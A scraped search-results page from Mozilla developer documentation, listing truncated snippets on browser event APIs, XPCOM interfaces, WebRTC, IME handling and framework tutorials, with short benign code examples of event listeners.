Window: afterprint event - Web APIs
the afterprint event is fired after the associated document has started printing or the print preview has been closed.
... bubbles no cancelable no interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html living standard living standard ...
Window: appinstalled event - Web APIs
the appinstalled event of the web manifest api is fired when the browser has successfully installed a page as an application.
... bubbles no cancelable no interface event event handler onappinstalled examples you can use the appinstalled event in an addeventlistener method: window.addeventlistener('appinstalled', function() { console.log('thank you for installing our app!'); }); or use the onappinstalled event handler property: window.onappinstalled = function() { console.log('thank you for installing our app!'); }; ...
Window: beforeprint event - Web APIs
the beforeprint event is fired when the associated document is about to be printed or previewed for printing.
... bubbles no cancelable no interface event event handler property onbeforeprint examples using addeventlistener(): window.addeventlistener('beforeprint', (event) => { console.log('before print'); }); using the onbeforeprint event handler property: window.onbeforeprint = (event) => { console.log('before print'); }; specifications specification status html living standard living standard ...
Window: clipboardchange event - Web APIs
the clipboardchange event fires when the system clipboard content changes.
... bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
Window: gamepadconnected event - Web APIs
the gamepadconnected event is fired when the browser detects that a gamepad has been connected or the first time a button/axis of the gamepad is used.
... bubbles no cancelable no interface gamepadevent event handler property ongamepadconnected examples window.addeventlistener('gamepadconnected', event => { // all buttons and axes values can be accessed through event.gamepad; }); specifications specification status gamepad working draft ...
Window: gamepaddisconnected event - Web APIs
the gamepaddisconnected event is fired when the browser detects that a gamepad has been disconnected.
... bubbles no cancelable no interface gamepadevent event handler property ongamepaddisconnected examples window.addeventlistener('gamepaddisconnected', event => { console.log('lost connection with the gamepad.'); }); specifications specification status gamepad working draft ...
Window: hashchange event - Web APIs
the hashchange event is fired when the fragment identifier of the url has changed (the part of the url beginning with and following the # symbol).
... bubbles yes cancelable no interface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'hashchange' in that specification.
Window: languagechange event - Web APIs
the languagechange event is fired at the global scope object when the user's preferred language changes.
... bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: window.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
Window: messageerror event - Web APIs
the messageerror event is fired on a window object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): window.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessageerror event handler property: window.onmessageerror = (event) => { console.error(event); }; specifications specification status html living standard living standard ...
Window: offline event - Web APIs
the offline event of the window interface is fired when the browser has lost access to the network and the value of navigator.online switches to false.
... bubbles no cancelable no interface event event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html living standardthe definition of 'offline event' in that specification.
Window: orientationchange event - Web APIs
the orientationchange event is fired when the orientation of the device has changed.
... bubbles no cancelable no interface event event handler onorientationchange example you can use the orientationchange event in an addeventlistener method: window.addeventlistener("orientationchange", function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that specification.
Window.routeEvent() - Web APIs
WebAPIWindowrouteEvent
the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no support noedge no support nofirefox no support noie ?
Worker: message event - Web APIs
the message event is fired on a worker object when the worker's parent receives a message from its worker (i.e.
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js s...
WorkerGlobalScope: languagechange event - Web APIs
the languagechange event is fired at the global scope object when the user's preferred language changes.
... bubbles no cancelable no interface event event handler onlanguagechange examples you can use the languagechange event in an addeventlistener method: worker.addeventlistener('languagechange', function() { console.log('languagechange event detected!'); }); or use the onlanguagechange event handler property: worker.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specification specification status html living standardthe definition of 'languagechange' in that specification.
XMLHttpRequest: timeout event - Web APIs
the timeout event is fired when progression is terminated due to preset time expiring.
... bubbles no cancelable no interface progressevent event handler property ontimeout examples const client = new xmlhttprequest(); client.open('get', 'http://www.example.org/example.txt'); client.ontimeout = () => { console.error('timeout!!') }; client.send(); you could also set up the event handler using the addeventlistener() method: client.addeventlistener('timeout', () => { console.error("timeout!!"); }); specifications specification status comment xmlhttprequestthe definition of 'timeout event' in that specification.
XMLHttpRequestEventTarget.onload - Web APIs
the xmlhttprequesteventtarget.onload is the function called when an xmlhttprequest transaction completes successfully.
...it receives a progressevent object as its first argument.
XRSession: end event - Web APIs
an end event is fired at an xrsession object when the webxr session has ended, either because the web application has chosen to stop the session, or because the user agent terminated the session.
... bubbles no cancelable no interface xrsessionevent event handler xrsession.onend example to be informed when a webxr session comes to an end, you can add a handler to your xrsession instance using addeventlistener(), like this: xrsession.addeventlistener("end", function(event) { /* the session has shut down */ }); alternatively, you can use the xrsession.onend event handler property to establish a handler for the end event: xrsession.onend = function(event) { /* the session has shut down */ } specifications specification status comment webxr device apithe definition of 'end event' in that specification.
Events - Archive of obsolete content
archived event pages domsubtreemodifiedmozaudioavailablemozbeforeresizemozorientationcachedchargingchangechargingtimechangecheckingdischargingtimechangedownloadingerrorlevelchangenoupdateobsoleteprogressupdateready ...
allowEvents - Archive of obsolete content
« xul reference allowevents type: boolean gets and sets the value of the allowevents attribute.
Touch Event Horizon - Game development
this article is for touch event horizon and a game related to it touch gestures and events link the example game github repository live demo setting up the canvas counting the taps touchstart, touchend collecting the bonus touchmove future developments summary this tutorial shows how to use touch events to create a game on a <canvas>.
Event Process Procedure
this diagram outlines how events are processed within gecko.
nsIAccessibleCaretMoveEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleStateChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleTableChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIAccessibleTextChangeEvent
accessible/public/nsiaccessibleevent.idlscriptable please add a summary to this article.
nsIDOMEventListener
the nsidomeventlistener interface implements the dom eventlistener interface.
nsIEventSource
content/base/public/nsieventsource.idlscriptable this is the interface for server-sent dom events 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) this implements the eventsource interface used for server-sent events.
nsIFTPEventSink
the nsiftpeventsink is an extension of nsisupports.
nsITransportEventSink
netwerk/base/public/nsitransport.idlscriptable implemented by clients that wish to receive transport events.
DeviceOrientationEvent.alpha - Web APIs
syntax var alpha = instanceofdeviceorientationevent.alpha; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.beta - Web APIs
syntax var beta = instanceofdeviceorientationevent.beta; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceOrientationEvent.gamma - Web APIs
syntax var gamma = orientationevent.gamma; specifications specification status comment deviceorientation event specification editor's draft initial specification.
DeviceProximityEvent.max - Web APIs
syntax var value = instanceofdeviceproximityevent.max; value a positive number indicating the maximum distance, in centimeters (cm), that the device's proximity sensor is able to detect and report.
DeviceProximityEvent.min - Web APIs
syntax var value = instanceofdeviceproximityevent.min; value a positive number indicating the minimum distance, in centimeters (cm), the device's proximity sensor can report.
IDBVersionChangeEvent.version - Web APIs
the version property of the idbversionchangeevent interface returns the new version of the database in a versionchange transaction.
MouseEvent.webkitForce - Web APIs
mouseevent.webkitforce is a proprietary, webkit-specific numeric property whose value represents the amount of pressure that is being applied on the touchpad or touchscreen.
NotificationEvent.action - Web APIs
example self.registration.shownotification("new articles available", { actions: [{action: "get", title: "get now."}] }); self.addeventlistener('notificationclick', function(event) { event.notification.close(); if (event.action === 'get') { synchronizereader(); } else { clients.openwindow("/reader"); } }, false); specifications specification status comment notifications apithe definition of 'action' in that specification.
NotifyAudioAvailableEvent - Web APIs
the non-standard, obsolete, notifyaudioavailableevent interface defines the event sent to audio elements when the audio buffer is full.
UserProximityEvent.near - Web APIs
syntax var near = userproximityevent.near; value a boolean ...
WindowEventHandlers.onmessageerror - Web APIs
the onmessageerror event handler of the windoweventhandlers interface is an eventlistener, called whenever an messageevent of type messageerror is fired on a window—that is, when it receives a message that cannot be deserialized.
XMLHttpRequestEventTarget.onabort - Web APIs
the xmlhttprequesteventtarget.onabort is the function called when an xmlhttprequest transaction is aborted, such as when the xmlhttprequest.abort() function is called.
XMLHttpRequestEventTarget.onerror - Web APIs
the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error.
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data.
Index - Web APIs
WebAPIIndex
12 abortsignal.onabort api, abortsignal, event handler, experimental, fetch, property, reference, onabort the onabort read-only property of the fetchsignal interface is an event handler invoked when an abort event fires, i.e.
... 13 abortsignal: abort event abort, events the abort event of the fetch api is fired when a fetch request is aborted, i.e.
... 23 abstractworker.onerror api, abstractworker, eventhandler, property, reference, web workers, workers, onerror the abstractworker.onerror property of the abstractworker interface represents an eventhandler, that is a function to be called when the error event occurs and bubbles through the worker.
...And 1333 more matches
nsIDOMWindowUtils
to get this interface, use: var domwindowutils = window.windowutils; method overview void activatenativemenuitemat(in astring indexstring); void clearmozafterpaintevents(); pruint32 comparecanvases(in nsidomhtmlcanvaselement acanvas1, in nsidomhtmlcanvaselement acanvas2, out unsigned long amaxdifference); double computeanimationdistance(in nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void di...
...sablenontestmouseevents(in boolean adisable); boolean dispatchdomeventviapresshell(in nsidomnode atarget, in nsidomevent aevent, in boolean atrusted); nsidomelement elementfrompoint(in float ax, in float ay, in boolean aignorerootscrollframe, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); short getcursortype(); astring getdocumentmetadata(in astring aname); nsidomwindow getouterwindowwithid(in unsigned long long aouterwindowid); long getpccountscriptcount(); ...
... void removesheet(in nsiuri sheeturi, in unsigned long type); void resumetimeouts(); void sendcompositionevent(in astring atype); obsolete since gecko 9 void sendcompositionevent(in astring atype, in astring adata, in astring alocale); obsolete since gecko 38.0 void sendcontentcommandevent(in astring atype, [optional] in nsitransferable atransferable); void getclassname(in object aobj); boolean sendkeyevent(in astring atype, in long akeycode, in long acharcode, in lon...
...And 135 more matches
Document - Web APIs
WebAPIDocument
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/document" target="_top"><rect x="266" y="1" width="80" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">document</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the document interface describes the common properties and methods for any kind of document.
... properties this interface also inherits from the node and eventtarget interfaces.
...And 117 more matches
Index - Archive of obsolete content
7 window: deviceproximity event sensors, events the deviceproximity event is fired when fresh data is available from a proximity sensor.
... 8 window: userproximity event sensors, events no summary!
... 38 working with events no summary!
...And 96 more matches
IME handling guide
it handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a.
...and editor sets these ime selections from mozilla::textrangetype which are sent by mozilla::widgetcompositionevent as mozilla::textrangearray.
... modules handling ime composition widget each widget handles native ime events and dispatches widgetcompositionevent with mozilla::widget::texteventdispatcher to represent the behavior of ime in the focused editor.
...And 89 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to provide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
... nsidomwindowutils has provided the methods which dispatched keyboard events and composition events almost directly.
... therefore they sometimes caused impossible scenarios in automated tests (what's tested with such events?) and js-ime and/or js-keyboard on firefox os or add-ons may dispatch events with wrong rules.
...And 83 more matches
Window - Web APIs
WebAPIWindow
spectratio="xminymin meet"><a xlink:href="/docs/web/api/window" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">window</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructors see also the dom interfaces.
... properties this interface inherits properties from the eventtarget interface and implements properties from the windoworworkerglobalscope and windoweventhandlers mixins.
... window.event read only returns the current event, which is the event currently being handled by the javascript code's context, or undefined if no event is currently being handled.
...And 76 more matches
Using IndexedDB - Web APIs
wait for the operation to complete by listening to the right kind of dom event.
...the call to the open() function returns an idbopendbrequest object with a result (success) or error value that you handle as an event.
...if the database doesn't already exist, it is created by the open operation, then an onupgradeneeded event is triggered and you create the database schema in the handler for this event.
...And 70 more matches
Drag Operations - Web APIs
add a listener for the dragstart event.
... <p draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')"> this text <strong>may</strong> be dragged.
... starting a drag operation in this example, a listener is added for the dragstart event by using the ondragstart attribute.
...And 63 more matches
Gecko info for Windows accessibility vendors
it covers content, style and events.
...events such as focus changes must be tracked through msaa events, rather than dom events.
... roles, states and events: please read the msaa documentation on msdn if you are unfamiliar with these.
...And 47 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
they need to know about focus changes and other events, and it needs to know what objects are contained in the current document or dialog box.
... a set of system messages that confer accessibility-related events such as focus changes, changes to document content and state changes in ui objects like checkboxes.
...the accessible event watcher shows what accessible events are being generated by a given piece of software.
...And 45 more matches
tabs - Archive of obsolete content
open, manipulate, and access tabs, and receive tab events.
... usage open a tab you can open a new tab, specifying various properties including location: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); track tabs you can register event listeners to be notified when tabs open, close, finish loading dom content, or are made active or inactive: var tabs = require("sdk/tabs"); // listen for tab openings.
...ividual tabs by index: var tabs = require('sdk/tabs'); tabs.on('ready', function () { console.log('first: ' + tabs[0].title); console.log('last: ' + tabs[tabs.length-1].title); }); you can access the currently active tab: var tabs = require('sdk/tabs'); tabs.on('activate', function () { console.log('active: ' + tabs.activetab.url); }); track a single tab given a tab, you can register event listeners to be notified when the tab is closed, activated or deactivated, or when the page hosted by the tab is loaded or retrieved from the "back-forward cache": var tabs = require("sdk/tabs"); function onopen(tab) { console.log(tab.url + " is open"); tab.on("pageshow", logshow); tab.on("activate", logactivate); tab.on("deactivate", logdeactivate); tab.on("close", logclose); } func...
...And 44 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
to be sure that all elements exist, you should use the onload event handler on the <body> tag: <body onload="dofinish();"> <div id="foo">loading...</div> <script> function dofinish() { var element = document.getelementbyid("foo"); element.innerhtml = "done."; } </script> ...
... event differences mozilla and internet explorer are almost completely different in the area of events.
... the mozilla event model follows the w3c and netscape model.
...And 43 more matches
Inputs and input sources - Web APIs
for example, if an xr device provides a mode in which the mouse is used to simulate events on the device, a new xrinputsource object might be created to represent the simulated input source for the duration of handling the action.
...an inputsourceschange event is sent to your xrsession whenever one or more of the input sources change, or when an input source is added to or removed from the list.
... for example, if you need to keep up with which controller is held in each of the player's hands, you might do something like this: let inputsourcelist = null; let lefthandsource = null; let righthandsource = null; xrsession.addeventlistener("inputsourceschange", event => { inputsourcelist = event.session.inputsources; inputsourcelist.foreach(source => { switch(source) { case "left": lefthandsource = source; break; case "right": righthandsource = source; break; } }); }); the inputsourceschange event is also fired once when the session's creation callback first completes execution, so you can use it to fetch the input source list as soon as it's available at startup time.
...And 43 more matches
RTCPeerConnection - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
..."/><a xlink:href="/docs/web/api/rtcpeerconnection" target="_top"><rect x="151" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="236" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local device and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote p...
...see signaling in lifetime of a webrtc session for more details about the signaling process.event handlersalso inherits event handlers from: eventtargetonaddstream the rtcpeerconnection.onaddstream event handler is a property containing the code to execute when the addstream event, of type mediastreamevent, is received by this rtcpeerconnection.
...And 42 more matches
ui/frame - Archive of obsolete content
if you know the target uri, you should use it, as this is more secure: it prevents another window from intercepting messages that were intended for someone else.
... if the frame script initiates the conversation, you need to specify "*" as the origin: window.parent.postmessage("ping", "*"); if the frame script has received a message from the add-on already, it can use the origin property of the event object passed to the message hander: // listen for messages from the add-on, and send a reply window.addeventlistener("message", function(event) { event.source.postmessage("pong", event.origin) }, false); this frame script listens to change events on the "city-selector" <select> element, and sends a message to the add-on containing the value for the newly selected element.
... // city-info.js var cityselector = window.document.getelementbyid("city-selector"); cityselector.addeventlistener("change", citychanged); function citychanged() { window.parent.postmessage(cityselector.value, "*"); } to listen for these messages in the main add-on code, you can assign a listener to the frame's message event.
...And 41 more matches
Index
MozillaTechXPCOMIndex
77 the thread manager firefox 3, threads the thread manager, introduced in firefox 3, offers an easy to use mechanism for creating threads and dispatching events to them for processing.
... 289 nsiaccessiblecaretmoveevent interfaces, interfaces:scriptable, xpcom, xpcom interface reference no summary!
...you can also get one from nsiaccessnode.getaccessibledocument() or nsiaccessibleevent.getaccessibledocument() 292 nsiaccessibleeditabletext accessibility, interfaces, interfaces:scriptable, xpcom, xpcom api reference, xpcom interface reference copies the text range into the clipboard.
...And 41 more matches
Signaling and video calling - Web APIs
an icecandidate event is sent to the rtcpeerconnection to complete the process of adding a local description using pc.setlocaldescription(offer).
... note: the onicecandidate event and createanswer() promise are both async calls which are handled separately.
...here's the expected sequence of events: we'll see this detailed more over the course of this article.
...And 40 more matches
Index - Archive of obsolete content
ArchiveMozillaXULIndex
14 allowevents xul attributes, xul reference no summary!
... 116 eventnode xul attributes, xul reference no summary!
... 117 events xul attributes, xul reference no summary!
...And 38 more matches
Accessibility/LiveRegionDevGuide
it is responsible for queuing messages derived from live region events, where priority is determined by chronological order and the live politeness properties.
... event types the table for web page mutation event types lists the two major event types associated with live regions, namely text-changed and object changed events.
... object changed the object changed events are slightly different in at-spi and iaccessible2.
...And 38 more matches
source-editor.jsm
method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback); void removeeventlistener(string aeventtype, function acallback); undo stack operations boolean canredo(); boolean canundo(); void endcompoundchange(); boolean redo(); void resetundo(); void startcompoundchange(); boolean undo(); ...
...in addition, when this value changes, the "dirtychanged" event is sent.
... readonly boolean set this value to true to make the editor read only, thereby preventing the user from making changes.
...And 38 more matches
Componentizing our Svelte app - Learn web development
eventually, we will split up our app into the following components: alert.svelte: a general notification box for communicating actions that have occurred.
... we will just declare the onclick prop assigning a dummy handler to prevent errors, like this: export let onclick = (clicked) => {} and we'll declare the following reactive statement — $: onclick(filter) — to call the onclick handler whenever the filter variable is updated.
... sharing data between components: props-down, events-up pattern the bind directive is pretty straightforward and allows you to share data between a parent and child component with minimal fuss.
...And 37 more matches
widget - Archive of obsolete content
next, we write a content script that listens for click events on each icon and sends the corresponding message to the main add-on code: var play_button = document.getelementbyid("play-button"); play_button.onclick = function() { self.port.emit("play"); } var pause_button = document.getelementbyid("pause-button"); pause_button.onclick = function() { self.port.emit("pause"); } var stop_button = document.getelementbyid("stop-button"); stop_button.oncli...
...in the add-on's "main.js" file, we create the widget, assign it the html file and the content script, and listen for events from the content script: const widgets = require("sdk/widget"); const data = require("sdk/self").data; var player = widgets.widget({ id: "player", width: 72, label: "player", contenturl: data.url("buttons.html"), contentscriptfile: data.url("button-script.js") }); player.port.on("play", function() { console.log("playing"); }); player.port.on("pause", function() { console.log("pausing"); }); player.port.on("stop", function() { console.log("stopping"); }); to learn much more about content scripts, see the working with content s...
...re("sdk/self").data var clockpanel = require("sdk/panel").panel({ width:215, height:160, contenturl: data.url("clock.html") }); widget = require("sdk/widget").widget({ id: "open-clock-btn", label: "clock", contenturl: data.url("history.png") }); widget.panel = clockpanel; // will not be anchored widget.panel.show(); also, if you try to call panel.show() inside your widget's click event listener, the panel will not be anchored: data = require("sdk/self").data var clockpanel = require("sdk/panel").panel({ width:215, height:160, contenturl: data.url("clock.html") }); require("sdk/widget").widget({ id: "open-clock-btn", label: "clock", contenturl: data.url("history.png"), panel: clockpanel, onclick: function() { // will not be anchored this.panel.show(); ...
...And 35 more matches
Vue conditional rendering: editing existing todos - Learn web development
copy the following code into that file: <template> <form class="stack-small" @submit.prevent="onsubmit"> <div> <label class="edit-label">edit name for &quot;{{label}}&quot;</label> <input :id="id" type="text" autocomplete="off" v-model.lazy.trim="newlabel" /> </div> <div class="btn-group"> <button type="button" class="btn" @click="oncancel"> cancel <span class="visually-hidden">editing {{label}}</span> </button> <button type="subm...
... there is a "save" button and a "cancel" button: when the "save" button is clicked, the component emits the new label via an item-edited event.
... when the "cancel" button is clicked, the component signals this by emitting an edit-cancelled event.
...And 35 more matches
Using DTMF with WebRTC - Web APIs
each time a tone is sent, the rtcpeerconnection receives a tonechange event with a tone property specifying which tone finished playing, which is an opportunity to update interface elements, for example.
... when the tone buffer is empty, indicating that all the tones have been sent, a tonechange event with its tone property set to "" (an empty string) is delivered to the connection object.
... initialization when the page loads, we do some basic setup: we fetch references to the dial button and the log output box elements, and we use addeventlistener() to add an event listener to the dial button so that clicking it calls the connectanddial() function to begin the connection process.
...And 34 more matches
Key Values - Web APIs
learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character.
... keyboardevent.key value description virtual keycode windows mac linux android "unidentified" the user agent wasn't able to map the event's virtual keycode to a specific key value.
... keyboardevent.key value description virtual keycode windows mac linux android "alt" [5] the alt (alternative) key.
...And 28 more matches
ui/toolbar - Archive of obsolete content
toolbar events toolbars get attach and detach events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them.
... = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var button = actionbutton({ id: "my-button", label: "my-button", icon: "./my-button.png" }); var frame = new frame({ url: "./my-frame.html" }); var toolbar = toolbar({ title: "player", items: [button, frame] }); this add-on creates a toolbar with one frame, that's hidden initially, and that logs show and hide events: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame], hidden: true, onshow: showing, onhide: hiding }); function showing(e) { console.log("showing"); console.log(e); } function hiding(e) { console.log("hiding"); console.log(e); } ...
... onattach function assign a listener to the attach event.
...And 27 more matches
ui/sidebar - Archive of obsolete content
alternatively, the view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show event when it is shown and a hide event when it is hidden.
...there are two events emitted by the sidebar which will give you a worker: attach and ready.
... using attach the attach event is triggered whenever the dom for a new sidebar instance is loaded and its scripts are attached.
...And 26 more matches
textbox (Toolkit autocomplete) - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
... ignoreblurwhilesearching new in thunderbird 3requires seamonkey 2.0 type: boolean if true, blur events are ignored while searching, which means that the autocomplete popup will not disappear.
...And 26 more matches
nsIAppShell
widget/public/nsiappshell.idlnot scriptable interface for the native event system layer.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void create(inout int argc, inout string argv); obsolete since gecko 1.9 void dispatchnativeevent(in prbool arealevent, in voidptr aevent); obsolete since gecko 1.9 void exit(); void favorperformancehint(in boolean favorperfoverstarvation, in unsigned long starvationdelay); void getnativeevent(in prboolref arealevent, in voidptrref aevent); obsolete since gecko 1.9 void listentoeventqueue(in nsieventqueue aqueue, in prbool alisten); obsolete since gecko 1.9 void resumenative(); void run(); void runinstablestate(in nsirunnable arunnable); void spindown(); obsolete since gecko 1.9 ...
... void spinup(); obsolete since gecko 1.9 void suspendnative(); attributes attribute type description eventloopnestinglevel unsigned long the current event loop nesting level.
...And 26 more matches
Multi-touch interaction - Web APIs
pointer events extend dom input events to support various pointing input devices such as pen/stylus and touch screens as well as mouse.
...having a single event model for pointers can simplify creating web sites, applications and provide a good user experience regardless of the user's hardware.
... pointer events have many similarities to mouse events but they support multiple simultaneous pointers such as multiple fingers on a touch screen.
...And 26 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unprivileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events.
... in your extension's browser.xul overlay, write code which listens for a custom dom event.
... here we call the event myextensionevent.
...And 25 more matches
Mozilla accessibility architecture
this page is maintained by aaron leventhal and by the mozilla accessibility community.
...accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document content and ui controls, as well as important events like changes of focus.
...it can read in an entire document at once, look only pieces of a document related to recent events, or traverse the accessibility object model based on screen position.
...And 25 more matches
Element - Web APIs
WebAPIElement
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent interface, node, and by extension that interface's parent, eventtarget.
... event handlers element.onfullscreenchange an event handler for the fullscreenchange event, which is sent when the element enters or exits full-screen mode.
...And 25 more matches
panel - Archive of obsolete content
your add-on can receive notifications when a panel is shown or hidden by listening to its show and hide events.
